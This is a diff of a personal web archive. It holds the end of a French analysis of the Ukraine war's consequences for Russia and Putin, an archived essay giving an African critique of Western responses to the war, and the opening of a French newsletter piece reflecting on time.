plusieurs équipes nationales ont annoncé qu’elles ne joueraient plus contre des équipes russes. Dans tous les domaines, les appels à boycotter les biens et les services russes se multiplient.</p> | |||
<p>Dans ces conditions, l’affaiblissement économique de la Russie est inévitable, comme son isolement politique sur la scène internationale. La Russie deviendra véritablement un État paria, dont on ne voudra plus dans les relations commerciales, les formats diplomatiques (au deuxième jour de l’offensive le Conseil de l’Europe suspendait déjà les droits de représentation de la Russie), les espaces aériens, les espaces informationnels, les compétitions sportives et tous les événements qui font la vie internationale. C’est pourquoi j’écrivais que la guerre allait « isoler et affaiblir la Russie qui deviendra paria ».</p> | |||
<p>Poutine peut se rassurer en se disant qu’il aura des relations avec la Chine, l’Iran, le Pakistan et quelques autres États qui sont indifférents au respect du droit international et des principes d’humanité, mais cela pourrait ne pas convaincre les entrepreneurs, les athlètes et d’une manière générale la population qui paiera le prix de cet isolement.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>L’affaiblissement économique de la Russie est inévitable, comme son isolement politique sur la scène internationale. La Russie deviendra véritablement un État paria.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<h2 id="5-la-fin-de-poutine"><strong>5 — La fin de Poutine ?</strong></h2> | |||
<p>Ce que cette guerre détruit est l’avenir de la Russie et ses habitants le savent. La guerre en Ukraine va produire en Russie un immense mécontentement, et donc un immense problème pour Poutine qui, comme tous les dictateurs, craint d’abord et avant tout son propre peuple. D’abord parce que la guerre va faire des milliers de morts russes, donc des dizaines de milliers de familles et d’amis endeuillés. Les autorités ukrainiennes jouent très habilement cette carte en mettant en place une <em>hotline</em>, une assistance téléphonique, et un site Internet pour les familles des soldats russes tués ou capturés, et en demandant au CICR de rapatrier les corps en Russie. Cette pratique a au moins deux intérêts : d’une part, contourner la censure russe qui n’informe pas les familles du sort de leurs proches, pour que la population russe prenne bien conscience des pertes et du coût de cette guerre, mais aussi des mensonges de leur gouvernement qui tente de le leur cacher, ce qui devrait accroître son ressentiment et donc les chances qu’elle se mobilise. D’autre part, c’est aussi un gain en termes d’image puisque les Ukrainiens montrent ainsi que leur conduite est plus humanitaire que celle des Russes qui pourtant les attaquent. </p> | |||
<p>La population russe ne comprend pas cette guerre et elle s’y oppose. Dès le début de l’offensive, des manifestations ont été organisées sur l’ensemble du territoire. Des tags « Non à la guerre » sont apparus un peu partout, et les quelques médias indépendants qui restent dans le pays affichent leur opposition au conflit et leur soutien au peuple ukrainien. Un collectif de 664 chercheurs et scientifiques russes ont dénoncé dans une lettre ouverte la responsabilité de la Russie et estime qu’elle « s’est condamnée à l’isolement sur la scène internationale et à un destin de pays paria ». Même le consensus politique commence à se fissurer : au troisième jour de guerre, un député de la Douma qui avait voté en faveur de la reconnaissance des entités séparatistes s’oppose à l’invasion. D’une manière générale, la guerre va catalyser l’opposition russe.</p> | |||
<p>Au contraire du soutien populaire qu’avaient pu susciter en 2014 et les années suivantes l’annexion de la Crimée et le soutien aux séparatistes prorusses du Donbass, la guerre totale que Poutine livre à l’ensemble de l’Ukraine, sans aucune raison, suscite de l’incompréhension et des protestations qui ne feront que croître à mesure que les forces russes massacreront des civils ukrainiens, dont la plupart des Russes se sentent plutôt proches, et que cette folie meurtrière aura des conséquences sur leur niveau de vie.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>D’une manière générale, la guerre va devenir un catalyseur de l’opposition russe.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>La population russe est trop réprimée pour que cela mène à d’importants soulèvements – 1700 manifestants ont été arrêtées dans 42 villes dans la seule journée du 24 février – et, conscient du danger, le régime va sans doute accroître encore la répression interne. Le 25 février, l’ancien président russe Dmitry Medvedev a d’ailleurs proposé de profiter de l’expulsion de la Russie du Conseil de l’Europe pour réintroduire la peine de mort – un signal envoyé à la population que, pour assurer sa survie, le régime est prêt à prendre des mesures toujours plus radicales. Cela ne fera qu’envenimer la situation et confirmer qu’avec cette guerre Poutine a sans doute perdu une partie du soutien populaire qu’il avait bâti au cours des deux dernières décennies.</p> | |||
<p>Plus préoccupant pour lui est le mécontentement de l’élite économique russe, qui va perdre beaucoup d’argent à cause de l’aventurisme présidentiel, ce qui présente un vrai risque de fragmentation du régime qui jusque-là maintenait des équilibres subtils. Avec « sa » guerre, Poutine se fabrique des ennemis de l’intérieur, dont des oligarques très puissants qui vont payer le prix de ses rêves de grandeur. Le ressentiment et l’hostilité qu’il va générer au sein même de l’élite russe constitue un risque réel pour son maintien au pouvoir dans les prochains mois et les prochaines années. Cette guerre « de trop » est sa plus grande erreur de jugement et elle pourrait causer sa perte. C’est pourquoi j’écrivais qu’elle va « menacer son propre pouvoir à Moscou » et que ce sera « le début de la fin » – de sa fin.</p> | |||
<figure class="wp-block-pullquote"><blockquote><p>Avec « sa » guerre, Poutine se fabrique des ennemis de l’intérieur, dont des oligarques très puissants qui vont payer le prix de ses rêves de grandeur.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<h2 id="le-scenario-du-pire"><strong>Le scénario du pire</strong></h2> | |||
<p>Tout ce qui précède n’est qu’un scénario parmi d’autres, et un scénario optimiste puisqu’il présume que la guerre restera limitée au territoire ukrainien, ce qui n’est pas du tout certain. Il y a malheureusement une autre possibilité. Voyant qu’il a surestimé ses forces en Ukraine et sous-estimé la réaction internationale, c’est-à-dire qu’il perd le contrôle de la situation, Poutine peut vouloir reprendre l’initiative en escaladan<strong>t</strong>. Il peut le faire d’au moins trois manières :</p> | |||
<ol><li>Vis-à-vis de l’OTAN, dans un contexte de tension extrême, en s’en prenant à un État membre qu’il accusera de fournir des armes et/ou du renseignement, de protéger le président Zelensky et/ou des membres de son gouvernement, d’une attaque montée de toute pièce – dans le cadre d’une opération sous faux drapeau –, ou encore à la faveur d’un incident frontalier – par exemple à la frontière polonaise par laquelle passent les armes –, ou d’un accrochage dans le ciel ou en mer Noire. S’il attaque un État membre, il le fera en signalant la menace nucléaire d’une façon suffisamment explicite pour tester la solidarité de l’article 5. </li><li>Il peut aussi escalader sur le territoire ukrainien, dans un premier temps en ayant recours à des bombardements massifs comme nous l’avons déjà mentionné, mais aussi en dernier recours par l’emploi d’une arme nucléaire tactique, en prétextant riposter à une attaque montée de toute pièce – Moscou commence déjà à répandre la rumeur selon laquelle les Ukrainiens pourraient faire exploser une « bombe sale » sur le territoire russe. Par l’emploi de l’arme nucléaire contre l’Ukraine, Moscou signalerait son intention d’aller « jusqu’au bout » en espérant susciter un effet de sidération et en présumant que l’OTAN n’osera pas escalader, tout en rendant le territoire ukrainien inutilisable et en le transformant, de fait et pour des milliers d’années, en une zone tampon avec l’Ouest.</li><li>Il pourrait aussi vouloir ouvrir un nouveau front, dans les Balkans ou ailleurs, non seulement pour maximiser ses chances de gains pour le même coût (s’il estime que les sanctions internationales ont déjà atteint leur paroxysme), mais aussi pour faire diversion, c’est-à-dire dissimuler ce qui sera un échec relatif ou absolu en Ukraine. Cette hypothèse se heurte toutefois à une réalité matérielle et psychologique : au vu du coût humain et matériel de la guerre en Ukraine, il n’est pas du tout certain que la Russie ait les moyens d’autres ambitions, et surtout que les généraux – dont il se dit que certains n’étaient déjà pas favorables à l’aventure ukrainienne – suivent Poutine ailleurs, ce qui ne ferait qu’augmenter sa frustration.</li></ol> | |||
<figure class="wp-block-pullquote"><blockquote><p>Le scénario du pire est improbable mais il n’est pas impossible, comme l’est le risque de guerre majeure en général.</p><cite>Jean-Baptiste Jeangène Vilmer</cite></blockquote></figure> | |||
<p>Le scénario du pire est improbable mais il n’est pas impossible, comme l’est le risque de guerre majeure en général. Poutine étant visiblement enfermé dans un délire paranoïaque et hubristique, rien ne doit être exclu. C’est aussi en ce sens tragique que cela pourrait être « le début de la fin ».</p> |
@@ -0,0 +1,185 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>An African view of what’s happening in Europe (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://www.opendemocracy.net/en/5050/an-african-view-of-whats-happening-in-europe/"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>An African view of what’s happening in Europe</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://www.opendemocracy.net/en/5050/an-african-view-of-whats-happening-in-europe/" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p>All African countries (apart from Ethiopia and Liberia) were colonised, our homes cut up and shared like cake among European powers at the <a href="https://www.oxfordreference.com/view/10.1093/acref/9780195337709.001.0001/acref-9780195337709-e-0467">Berlin Conference of 1884–85</a> and in later years. The result? <a href="https://www.jewsandpolesdatabase.org/2019/11/04/verhofstadt-belgian-congo-genocide-vanthemsche/">Some of the bloodiest subjugations in human history</a>. No African country was ever colonised by members of the former USSR.</p> | |||
<p>Instead, <a href="https://www.gov.za/blog/how-cuba-stood-africa">socialist countries including Cuba</a> and the <a href="https://www.aljazeera.com/features/2016/2/22/between-east-and-west-the-cold-wars-legacy-in-africa">Soviet Union</a> supported our independence movements, in the face of the brutal attempts by supposedly ‘civilised’ countries to prevent us from winning our freedom. Now we watch, somewhat numbly, as these same Western powers champion themselves as defenders of the freedom of the Ukrainian people.</p> | |||
<p>As NATO members spend millions on military support for Ukraine and <a href="https://www.politico.com/news/2022/02/25/nato-deploy-troops-eastern-flank-ukraine-00011902">increase deployment in eastern Europe</a> to counter Russian aggression, it is time to listen to Africans in Libya, Somalia and Kenya. They will point out the trail of Western <a href="https://ibw21.org/news/violence-has-spiked-in-africa-since-the-military-founded-africom/">violence</a> and give us all insights into the <a href="https://www.opendemocracy.net/en/why-military-interventions-fail/">limits of military interventions</a> by the US and its European allies.</p> | |||
<h2>The simplistic logic of sanctions</h2> | |||
<p>Just as ordinary Russians will, ordinary Africans have also suffered <a href="http://www.zhrc.org.zw/wp-content/uploads/2020/11/Statement-on-the-effects-of-sanctions-on-the-enjoyment-of-human-rights-in-Zimbabwe.pdf">collective punishment under sanctions</a> rained down by the mighty hand of Western governments. Often without popular support for them in Africa – except perhaps in the case of apartheid-era South Africa where they were <a href="https://www.sahistory.org.za/archive/statement-oliver-tambo-meeting-special-committee-against-apartheid-12-january-1982">at the behest of Black South Africans</a>. Even then, the sanctions were lifted well before Black Africans thought it appropriate, prompting <a href="https://www.nytimes.com/1991/04/28/world/mandela-calls-west-europe-racist-on-sanctions.html">Nelson Mandela to accuse Western Europe of racism</a> and eagerness to realign itself with white power elsewhere.</p> | |||
<p>Yet, we watch even more crippling measures being celebrated in the media as the appropriate reaction to one strongman’s decision. “Cripple Russia’s economy and there will soon be riots in Moscow to overthrow Putin” is a very simplistic logic to apply to people living under an oppressive regime.</p> | |||
<p>I live under President Yoweri Museveni. If the Ugandan economy were to be crippled by sanctions, I would still have no say in whether or not he stays in power. After all, I have no say in the matter now.</p> | |||
<p>This is not an argument for withholding support from the wholly deserving Ukrainian people. It’s a plea to acknowledge these contradictions because they matter. To acknowledge them is to accept that the ever-growing discontent with the Western liberal order is informed and valid, not some knee-jerk reaction.</p> | |||
<p>It is informed by our lived experiences under racism, imperialism, colonialism, aparthied, neo-colonialism and so-called Western military ‘solutions’ – such as the “war on terror” – which invariably exacerbate conflicts and lead to more deaths.</p> | |||
<h2>The nuclear threat: not just Russia</h2> | |||
<p>Africans are as scared as everyone else by what is happening in Ukraine. Nuclear weapons are being used as pawns in a military and political chess game that could end humanity. Yet, we also must disabuse the West of its belief that this nuclear threat is to be blamed on one mad man.</p> | |||
<p>After all, NATO members (under the nuclear sharing programme) make up <a href="https://en.wikipedia.org/wiki/Nuclear_sharing">more than half</a> of the countries in the world mad enough to make, possess and have access to these weapons. No African country possesses nuclear weapons today (South Africa gave up theirs in 1989 and Libya halted its nuclear weapons programme in 2003).</p> | |||
<p>The United Nations remains our most viable option for ensuring accountability between countries, but even in the UN, countries in the Global North – which pose the biggest threat of mass violence, both militarily and economically – are the ones that wield almost all the power.</p> | |||
<p>Any day should be a good day to call out hegemony. Today, as the “free world” of “civilised nations” face “unprecedented times” – as the media would have it – those who have paid dearly for the unquestioned “rightness of the West” are saying: let’s speak against Western hegemony too.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,9 @@ | |||
title: An African view of what’s happening in Europe | |||
url: https://www.opendemocracy.net/en/5050/an-african-view-of-whats-happening-in-europe/ | |||
hash_url: 86a502931562f5a88120be5ae903b67a | |||
<p>All African countries (apart from Ethiopia and Liberia) were colonised, our homes cut up and shared like cake among European powers at the <a href="https://www.oxfordreference.com/view/10.1093/acref/9780195337709.001.0001/acref-9780195337709-e-0467">Berlin Conference of 1884–85</a> and in later years. The result? <a href="https://www.jewsandpolesdatabase.org/2019/11/04/verhofstadt-belgian-congo-genocide-vanthemsche/">Some of the bloodiest subjugations in human history</a>. No African country was ever colonised by members of the former USSR.</p><p>Instead, <a href="https://www.gov.za/blog/how-cuba-stood-africa">socialist countries including Cuba</a> and the <a href="https://www.aljazeera.com/features/2016/2/22/between-east-and-west-the-cold-wars-legacy-in-africa">Soviet Union</a> supported our independence movements, in the face of the brutal attempts by supposedly ‘civilised’ countries to prevent us from winning our freedom. Now we watch, somewhat numbly, as these same Western powers champion themselves as defenders of the freedom of the Ukrainian people.</p><p>As NATO members spend millions on military support for Ukraine and <a href="https://www.politico.com/news/2022/02/25/nato-deploy-troops-eastern-flank-ukraine-00011902">increase deployment in eastern Europe</a> to counter Russian aggression, it is time to listen to Africans in Libya, Somalia and Kenya. They will point out the trail of Western <a href="https://ibw21.org/news/violence-has-spiked-in-africa-since-the-military-founded-africom/">violence</a> and give us all insights into the <a href="https://www.opendemocracy.net/en/why-military-interventions-fail/">limits of military interventions</a> by the US and its European allies.</p> | |||
<h2>The simplistic logic of sanctions</h2> | |||
<p>Just as ordinary Russians will, ordinary Africans have also suffered <a href="http://www.zhrc.org.zw/wp-content/uploads/2020/11/Statement-on-the-effects-of-sanctions-on-the-enjoyment-of-human-rights-in-Zimbabwe.pdf">collective punishment under sanctions</a> rained down by the mighty hand of Western governments. Often without popular support for them in Africa – except perhaps in the case of apartheid-era South Africa where they were <a href="https://www.sahistory.org.za/archive/statement-oliver-tambo-meeting-special-committee-against-apartheid-12-january-1982">at the behest of Black South Africans</a>. Even then, the sanctions were lifted well before Black Africans thought it appropriate, prompting <a href="https://www.nytimes.com/1991/04/28/world/mandela-calls-west-europe-racist-on-sanctions.html">Nelson Mandela to accuse Western Europe of racism</a> and eagerness to realign itself with white power elsewhere.</p><p>Yet, we watch even more crippling measures being celebrated in the media as the appropriate reaction to one strongman’s decision. “Cripple Russia’s economy and there will soon be riots in Moscow to overthrow Putin” is a very simplistic logic to apply to people living under an oppressive regime.</p><p>I live under President Yoweri Museveni. If the Ugandan economy were to be crippled by sanctions, I would still have no say in whether or not he stays in power. After all, I have no say in the matter now.</p><p>This is not an argument for withholding support from the wholly deserving Ukrainian people. It’s a plea to acknowledge these contradictions because they matter. To acknowledge them is to accept that the ever-growing discontent with the Western liberal order is informed and valid, not some knee-jerk reaction.</p><p>It is informed by our lived experiences under racism, imperialism, colonialism, aparthied, neo-colonialism and so-called Western military ‘solutions’ – such as the “war on terror” – which invariably exacerbate conflicts and lead to more deaths.</p> | |||
<h2>The nuclear threat: not just Russia</h2> | |||
<p>Africans are as scared as everyone else by what is happening in Ukraine. Nuclear weapons are being used as pawns in a military and political chess game that could end humanity. Yet, we also must disabuse the West of its belief that this nuclear threat is to be blamed on one mad man.</p><p>After all, NATO members (under the nuclear sharing programme) make up <a href="https://en.wikipedia.org/wiki/Nuclear_sharing">more than half</a> of the countries in the world mad enough to make, possess and have access to these weapons. No African country possesses nuclear weapons today (South Africa gave up theirs in 1989 and Libya halted its nuclear weapons programme in 2003).</p><p>The United Nations remains our most viable option for ensuring accountability between countries, but even in the UN, countries in the Global North – which pose the biggest threat of mass violence, both militarily and economically – are the ones that wield almost all the power.</p><p>Any day should be a good day to call out hegemony. Today, as the “free world” of “civilised nations” face “unprecedented times” – as the media would have it – those who have paid dearly for the unquestioned “rightness of the West” are saying: let’s speak against Western hegemony too.</p> |
@@ -0,0 +1,195 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Les Jazzettes #20 (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://jazzettes.substack.com/p/les-jazzettes-20"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Les Jazzettes #20</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://jazzettes.substack.com/p/les-jazzettes-20" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p>Aujourd’hui, cela fait 1 an depuis la publication de la <a href="https://jazzettes.substack.com/p/les-jazzettes-1" rel="nofollow ugc noopener">première Jazzette</a>, le 1er février 2021. Au tout début, je prévoyais d’écrire un article par semaine. C’est une pratique assez courante, je crois, de se donner des objectifs en terme de rythme. Un article par semaine, cela aurait fait 52 articles. J’ai tenu ce rythme cinq semaines, puis j’ai espacé à deux semaines, et puis finalement j’écris quand c’est le bon moment pour moi, quand je suis prête. 20 articles par rapport à 52, on pourrait dire que je suis loin de mon objectif initial. Je pourrais me justifier en disant que je manquais de temps, que si j’avais plus de temps, j’aurais écrit plus d’articles.</p> | |||
<p>Aujourd’hui, j’ai envie d’écrire sur cette idée de manque de temps. À la base de cette idée, il y a la mesure du temps. Grâce à nos horloges, nous pouvons mesurer précisément le temps qui passe. Notre temps est mesuré, divisé en tranches, années, mois, semaines, jours, heures, minutes, secondes. Nous avons tous les outils pour gérer ce temps, des calendriers pour planifier des tâches et des rendez-vous, des techniques de productivité pour nous aider à optimiser notre emploi du temps, et ainsi ne pas “perdre” une seconde.</p> | |||
<p>Pour arriver à nous dire que nous manquons de temps, il nous faut pouvoir mesurer ce temps et le comparer à un idéal. Mais comment est-ce possible ? Quand on y pense, le temps est là, depuis le début. J’ai un temps illimité à vivre. Illimité, car je n’en vois pas la fin. Le temps s’écoule sans fin. Mais avec les horloges et les calendriers, il est possible d’apercevoir une fin. Une journée se termine au bout de 24h, une semaine au bout de sept jours, une année au bout de douze mois, et avec l’estimation de notre espérance de vie, je peux même imaginer le temps qu’il me reste à vivre. Ce qui en y pensant, n’a pas vraiment d’intérêt, à part nous déconnecter de notre réalité. </p> | |||
<p>Et donc, en regardant nos montres, chaque jour on voit le temps se terminer. Au lieu de le voir en abondance, on ne fait qu’y mettre fin. On met fin à nos journées, on met fin à nos mois et à nos années. Et avec cette perspective, il est difficile de réellement faire l’expérience du temps. </p> | |||
<p>J’ai lu un livre trouvé par hasard dans une petite librairie en occasion, “Le Papalagui”, rapportant des propos d’un chef de tribu samoan sur la culture européenne au début du 20e siècle (le mot Papalagui désignant l’homme blanc). C’est assez surprenant comme lecture, avec un regard aussi extérieur, et il y a un chapitre sur le temps intitulé “Le Papalagui n’a pas le temps” dont voici un petit extrait :</p> | |||
